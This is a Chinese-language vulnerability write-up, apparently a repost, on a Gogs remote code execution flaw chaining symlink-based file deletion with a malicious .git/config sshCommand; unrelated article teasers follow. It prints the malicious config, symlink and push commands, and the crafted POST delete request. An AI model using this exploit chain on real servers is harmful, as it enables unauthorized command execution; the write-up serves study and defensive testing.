網絡安全之RCE分析與利用詳情

Gogs背景介紹

Gogs(Go Git Service)是一款用Go語言編寫的輕量級、開源的Git倉庫托管系統。它的設計目標是讓搭建和維護Git服務變得簡單、快速,同時提供類似GitHub的功能,但對資源消耗更少,適合個人或者小型團隊使用,支持注冊(所有注冊功能開放,就可以在合法情況下,測試這個漏洞)

Gogs的核心是托管Git倉庫,通過其 Web 界面和 API 為用戶提供友好的操作體驗。簡單來說,它的工作流程包括:

  1. 倉庫管理:用戶在Gogs中創建、克隆、推送或拉取Git倉庫,倉庫存儲在服務器的文件系統或數據庫中。
  2. 用戶認證:支持多種登錄方式,包括本地賬號、LDAP、OAuth等,確保權限控制。
  3. Web界面交互:用戶通過Web界面或API進行倉庫管理、代碼瀏覽、Issue跟蹤、Pull Request等操作。
  4. Git協議處理:Gogs監聽Git協議(如SSH、HTTP/HTTPS),處理用戶的git clone、push等請求,將操作同步到倉庫存儲。
  5. 后端服務:Gogs的后端實現了各種功能模塊,包括用戶管理、權限控制、通知、Wiki等。

也就是說它背后是通過git命令來進行倉庫的管理的。

Git的秘密

首先git不僅僅可以進行代碼、倉庫的管理,它其實也是可以進行本地命令執行的,這也是這個漏洞最后的sink點。來看看git是如何進行命令執行的。

當提交執行git命令的時候,也就是執行 git <command>的時候,Git解析命令并定位到對應可執行文件,其中在.git目錄下有一個config文件,用來進行倉庫配置。

當在config的[core] 核心配置中有含有sshCommand的時候就會進行本地的命令執行。

以下是惡意的config配置內容。

[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = echo test > /tmp/poc
[remote "origin"]
url = [git@github.com](test:git@github.com):test/linux.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master

可以進行一下實驗,將原來.git目錄下的config文件內容修改為我們的惡意配置,然后再通過gogs webui 進行倉庫的一些修改,使其后端執行git命令。

在提交變更之后命令執行了 并且web ui也報錯了,因為原始config文件被修改了,無法正常操作倉庫了,不過命令是執行了,這是我們的目的。至于為什么我只是echo test 后面卻跟了一串其他內容 這應該是sshCommand的一些知識了,這里不做深究。

雖然git可以進行命令執行了,但是我們要想通過gogs系統進行命令執行的話,還需要配合文件寫入漏洞,使得可以修改.git/config文件的內容導致命令執行。歷史上gogs是也是有這個漏洞的。

但是今年爆的這個漏洞是通過任意文件刪除造成的命令執行,這里就需要引出git的另一個機制了。git在提交命令的時候,之前說了會去看.git目錄下的文件,只有滿足一些條件的時候,git才會將其該目錄識別為標準倉庫,才會去執行config中的命令,然而當我們刪除了一個HEAD文件或是其他需要匹配的文件時,Git不再將該目錄識別為標準倉庫,轉而會去向上尋找根目錄,去判斷根目錄是否符合標準倉庫,那么如果根目錄符合git的匹配規則,讓其認為是標準倉庫目錄,該目錄下放了我們的惡意config,那么就會造成命令執行了。所以我們需要通過任意文件刪除漏洞來刪除原始.git目錄下的一些文件,來破壞其原有的文件完整性。

另類任意文件刪除

通常我們所見的任意文件刪除,是通過目錄穿越 ../../這樣進行的,實際上在<0.13.1的gogs中也有用到一些目錄穿越,在>=0.13.1的時候似乎修復了。

而最新的gogs任意文件刪除,使用的并不是這樣的目錄穿越,這時候就需要引入另外一個技巧了,叫符號鏈接

符號鏈接(軟鏈接)是Linux文件系統中的特殊文件類型,其本質是指向另一個文件/目錄的快捷方式。

創建符號鏈接的命令如下

ln -s <目標路徑> <鏈接名稱>  

案例如下

# 攻擊者創建惡意鏈接
ln -s /etc/passwd malicious-link# 程序執行刪除操作(以用戶提供路徑為參數)
delete_file("malicious-link")  # 實際刪除/etc/passwd!

如果是這樣創建符號鏈接呢

ln -s .git true_git_dir

我們在使用gogs刪除文件時刪除true_git_dir/HEAD 原始.git目錄完整性被破壞就會向上級目錄找

而上級目錄其實就是我們可以正常上傳的倉庫文件,如果文件是符合條件的那么就可以達到我們之前想要的效果了。

當然有人會問為什么不直接刪除.git/HEAD 因為之前其他漏洞修復已經對.git進行了過濾 以阻止直接刪除.git目錄,轉而需要引用符號鏈接來繞過防護,所以實際上最新的gogs RCE是之前的繞過

如何上傳symlink

那么我們既然要上傳一個符號鏈接文件,需要用到git去push到倉庫中去 可以用http也可以用ssh,我這里用ssh

首先添加ssh公鑰 即id_rsa.pub(系統支持注冊賬號,測試人員可以注冊賬號測試漏洞0.0)

添加之后就可以正確對倉庫進行git操作了

不添加會報錯如下

然后本地攻擊機(kali)創建一個符號鏈接,一定要用linux系統,創建符號鏈接,然后push到倉庫,因為linux的符號鏈接在windows上處理不了,這也是個坑當我嘗試把linux的符號鏈接文件復制到windows的時候發送如下提示。

那么我們在linux 攻擊機上面執行如下命令

ssh://git@192.168.11.61:10022/admin1/tset.git
cd tset
ln -s .git true_git_dir

git add true_git_dir

git push origin master

至此成功向倉庫上傳了一個symlink文件

如果想在windows上面去post上傳一個symlink文件是不行的,即使把linux上的符號鏈接文件下載下來,上傳上去,由于經過了windows的處理導致它不再是linux symlink文件而只是普通文件了,所以也是不行的,真正上傳符號鏈接文件之后這里的icon如圖所示。

不過只有這個符號鏈接,倉庫里的文件并不符合標準倉庫目錄的匹配,我們需要當前倉庫目錄樹 形如下

malicious-repo/
├── HEAD                  # 根目錄下的HEAD
├── config                # 根目錄下的惡意config
├── refs/heads/       # 分支引用
├── objects/...           # 空對象目錄
├── info/...              # 其他元數據
├── .git/...              # 原始.git目錄(后續將被破壞)
└── README.md             # 偽裝文件

我們可以自己在github上面創建一個這樣的項目(文件的內容也需要符號git的規則,可以隨便拉一個項目然后修改它的.git目錄,項目里一般都有這些文件) 然后git clone到本地 添加符號鏈接然后 push到gogs上面

漏洞觸發

目錄已經構造好了,接下來我們要破壞原始.git目錄的完整性了 也就是需要刪除.git/HEAD

(測試發現沒有 description 和 index也是可以的)

當然這里config中的內容需要是惡意的

我們隨便刪一個文件 然后抓包(不是真的刪)

然后修改為如下url:http://192.168.11.61:10880/admin1/tset/_delete/master/true_git_dir/HEAD即指向的是.git下的HEAD而不是當前倉庫里的HEAD 然后右邊就會提示刪除時發生了錯誤

原因也很簡單,因為原始git目錄的HEAD被成功刪除,完整性被破壞,執行git命令的時候也就報錯,最終再ui上體現如截圖所示

POST /admin1/tset/_delete/master/true_git_dir/HEAD HTTP/1.1
Host: 192.168.11.61:10880
Content-Type: application/x-www-form-urlencoded
Cookie: lang=zh-CN; i_like_gogs=e4273ca0fe129938; gogs_awesome=admin1; gogs_incredible=7adbdcb1e2749458125bfb817c73c1e3802f77ed88e79a11d1a0c6561cfa06b064ae
Content-Length: 130_csrf=H3SRKyUjzJsxUgTJqttujDb4s4Q6MTc1MTcwODYxNjQ3MDk2MjA5MA&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=

然后我們在隨便找個提交的地方 提交一下,使得后端能夠執行git命令觸發漏洞

當然也是會報錯的

不過命令也已經正常執行了

至此漏洞講解完了,這個漏洞很巧妙的將git機制、符號鏈接、任意文件刪除漏洞用到了極致。

測試過程中的版本確定

在合法測試過程中可以通過報錯來判斷版本是否滿足漏洞版本 這里嘗試通過符號鏈接去測試任意文件讀取,不過這個有對符號鏈接的過濾導致無法任意文件讀取,然后就報500了,下面也是將版本號泄露了

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/88384.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/88384.shtml
英文地址,請注明出處:http://en.pswp.cn/web/88384.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

OpenCV圖片操作100例:從入門到精通指南(2)

接上篇&#xff0c;本文將繼續分享OpenCV實用技巧&#xff0c;涵蓋圖像處理、目標檢測、3D視覺等進階領域&#xff01;六、圖像變換進階17. 圖像金字塔# 高斯金字塔下采樣 smaller cv2.pyrDown(img)# 高斯金字塔上采樣 larger cv2.pyrUp(img)用于多尺度圖像處理&#xff0c;構…

2、Connecting to Kafka

KafkaAdmin-請參閱配置主題ProducerFactory-請參閱發送消息ConsumerFactory-請參閱接收消息從2.5版本開始&#xff0c;每個版本都擴展了KafkaResourceFactory。這允許在運行時通過向引導服務器的配置中添加Supplier<String>來更改引導服務器&#xff1a;setBootstrapServ…

二進制部署CentOS8.5+Kubernetes1.33.2+Docker28.3.1高可用集群

Kubernetes 集群部署202507 本實驗主要軟件環境及資源如下&#xff1a; 二進制部署CentOS8.5Kubernetes1.33.2Docker28.3.1高可用集群 一、系統要求 ?Kubermetes 系統由一組可執行程序組成&#xff0c;用戶可以通過Kubernetes在GitHub 的項目網站下載編譯好的二進制文件或…

127. Java 泛型 - 泛型類與子類型

文章目錄127. Java 泛型 - 泛型類與子類型1. 泛型類和接口的子類型化示例&#xff1a;ArrayList 和 List2. 自定義泛型接口的子類型化示例&#xff1a;泛型接口的子類型解釋3. 泛型類和接口的類型參數4. 總結127. Java 泛型 - 泛型類與子類型 1. 泛型類和接口的子類型化 在 J…

內網服務器怎么設置公網遠程訪問? windows桌面連接和Linux自帶SSH外網異地跨網用完整步驟教程

沒有公網IP的本地主機跨網訪問是經常需要用到的網絡場景。要設置內網服務器在公網進行異地遠程訪問&#xff0c;需依次完成確保網絡連接正常、配置防火墻、啟用遠程訪問服務、和利用類似nat123內網映射外網打通等一系列步驟&#xff0c;以保障不同內網的遠程訪問的順利進行。一…

數據提取之bs4(BeautifuSoup4)模塊與Css選擇器

BeautifuSoup4from bs4 import BeautifulSoup創建對象 <class bs4.BeautifulSoup>soup BeautifulSoup(源碼, 解析器)bs4標簽種類&#xff08;1&#xff09;tag: 標簽print(soup.title, type(soup.title))&#xff08;2&#xff09;獲取標簽里面的文本內容, 可導航的字符…

CPP中的List

一.list的介紹&#xff1a;1.list是可以在常數范圍內在任意位置進行插入和刪除的序列式容器&#xff0c;并且該容器可以前后雙向迭代。2.list的底層是雙向鏈表結構&#xff0c;帶有哨兵位的頭結點 。3. list與forward_list非常相似&#xff1a;最主要的不同在于forward_list是單…

Ntfs!LfsUpdateLfcbFromRestart函數分析之Ntfs!LfsFindOldestClientLsn

第0部分&#xff1a;//// Find the oldest client Lsn. Use the last flushed Lsn as a starting point.//Lfcb->OldestLsn Lfcb->LastFlushedLsn;LfsFindOldestClientLsn( RestartArea,Add2Ptr( RestartArea, Lfcb->ClientArrayOffset, PLFS_CLIENT_RECORD ),&…

「日拱一碼」021 機器學習——特征工程

目錄 特征選擇 過濾法&#xff08;Filter Methods&#xff09; 方差選擇法 相關系數法 卡方檢驗 包裹法&#xff08;Wrapper Methods&#xff09; 遞歸特征消除&#xff08;RFE&#xff09; 嵌入法&#xff08;Embedded Methods&#xff09; L1正則化&#xff08;Lasso…

k8s:安裝 Helm 私有倉庫ChartMuseum、helm-push插件并上傳、安裝Zookeeper

ChartMuseum 是 Kubernetes 生態中用于存儲、管理和發布 Helm Charts 的開源系統&#xff0c;主要用于擴展 Helm 包管理器的功能 核心功能 ?集中存儲?&#xff1a;提供中央化倉庫存儲Charts&#xff0c;支持版本管理和權限控制。 ? ?跨集群部署?&#xff1a;支持多集群環境…

C++編程學習(第二天)

1、求a和b兩個數之和。#include <iostream> using namespace std;int main() {int a, b, sum; //定義變量a、b、sumcout << "請輸入第一個數字a: "; //打印需要顯示的字符串cin >> a; // >&…

毫米波雷達守護銀發安全:七彩喜跌倒檢測儀重構居家養老防線

在老齡化加速與獨居老人數量攀升的背景下&#xff0c;跌倒已成為威脅老年人生命安全的“隱形殺手”。七彩喜跌倒檢測儀以毫米波雷達技術為核心&#xff0c;通過“非接觸式監測智能預警”重塑居家安全防護體系&#xff0c;為銀發群體構建起全天候、無感化的數字守護網。技術突破…

面試復盤:節流中第二次觸發的事件?答錯補課

面試復盤&#xff1a;節流中第二次觸發的事件&#xff1f;答錯補課 背景描述 今天面試時被問到一個看似基礎但暗藏玄機的問題&#xff1a;“節流&#xff08;Throttle&#xff09;函數中&#xff0c;第二次觸發的那一幀事件是否會被丟掉&#xff1f;” 我基于對經典節流實現的…

Spark偽分布式集群搭建(Ubuntu系統)

環境準備 系統要求&#xff1a;Ubuntu 20.04/22.04 LTS 軟件版本&#xff1a; Hadoop 3.3.5 JDK 8 Spark-3.5.6-bin-hadoop3 硬件要求&#xff1a;至少4GB內存&#xff0c;20GB磁盤空間 以下是基于Ubuntu系統的Spark偽分布式集群搭建全流程。以Spark 3.5.6 Hadoop 3.3.…

【快手】數據挖掘面試題0001:查找連續三天登錄的用戶

文章大綱一、測試數據構建二、自連接方案三、窗口函數方案一張用戶表&#xff0c;uer_id&#xff0c;signin_date&#xff0c;大概是這么幾項&#xff0c;查找連續三天登錄的用戶。 比如說&#xff0c;1,2兩天登錄不是連續三天&#xff0c;456登錄為連續三天登錄&#xff0c;56…

簡說scp命令

簡單介紹 scp的全稱是&#xff1a;Secure Copy Protocol&#xff08;安全復制協議&#xff09;&#xff0c;是Linux中用于在網絡中安全傳輸文件的命令行工具。它基于SSH協議&#xff0c;用于在本地服務器和遠程服務器之間&#xff0c;或者兩臺遠程服務器之間復制文件或目錄。 s…

自動化測試解決方案Parasoft SOAtest無腳本UI測試實踐指南

傳統UI自動化測試常面臨技術門檻高、維護成本大、穩定性差等挑戰。尤其在頁面頻繁變更時&#xff0c;測試腳本的更新和維護會顯著降低測試效率。 自動化測試解決方案Parasoft SOAtest通過可視化操作和智能元素定位技術&#xff0c;無需編寫代碼&#xff0c;讓測試人員能夠像真…

vscode配置頭文件和編譯器

在 VS Code 中配置編譯器和頭文件路徑需要修改兩個核心文件&#xff1a;c_cpp_properties.json&#xff08;用于智能提示&#xff09;和 tasks.json&#xff08;用于構建&#xff09;。以下是詳細步驟&#xff1a; —### 1. 配置智能提示和頭文件路徑 (c_cpp_properties.json)作…

HTML+JS+CSS制作一個數獨游戲

閑來無事&#xff0c;用HTMLJSCSS制作了一個數獨游戲消遣。其實主要是自己做題的時候用筆畫刪除數字太容易出錯&#xff0c;所以想搞一個程序稍微輔助一下。通過制作這個程序&#xff0c;反而提高了手工做題的水平&#xff0c;至少學會了記錄步數以便于回退。 20250710功能更新…

嵌入式硬件中電容的基本原理與實現詳解02

我們今天重點討論點知識點如下: 1.各種種類的電容優缺點對比講解 2.電容的標稱值介紹 3.電容的單位介紹 4.常見的電壓信號有哪些? 5. 電容的耐壓值講解 6.電容的容值有哪些? 7.12pF、15pF 電容常用在什么場合? 8. 振蕩電路中使用的電容常常需要使用什么材質的電容? 9.100n…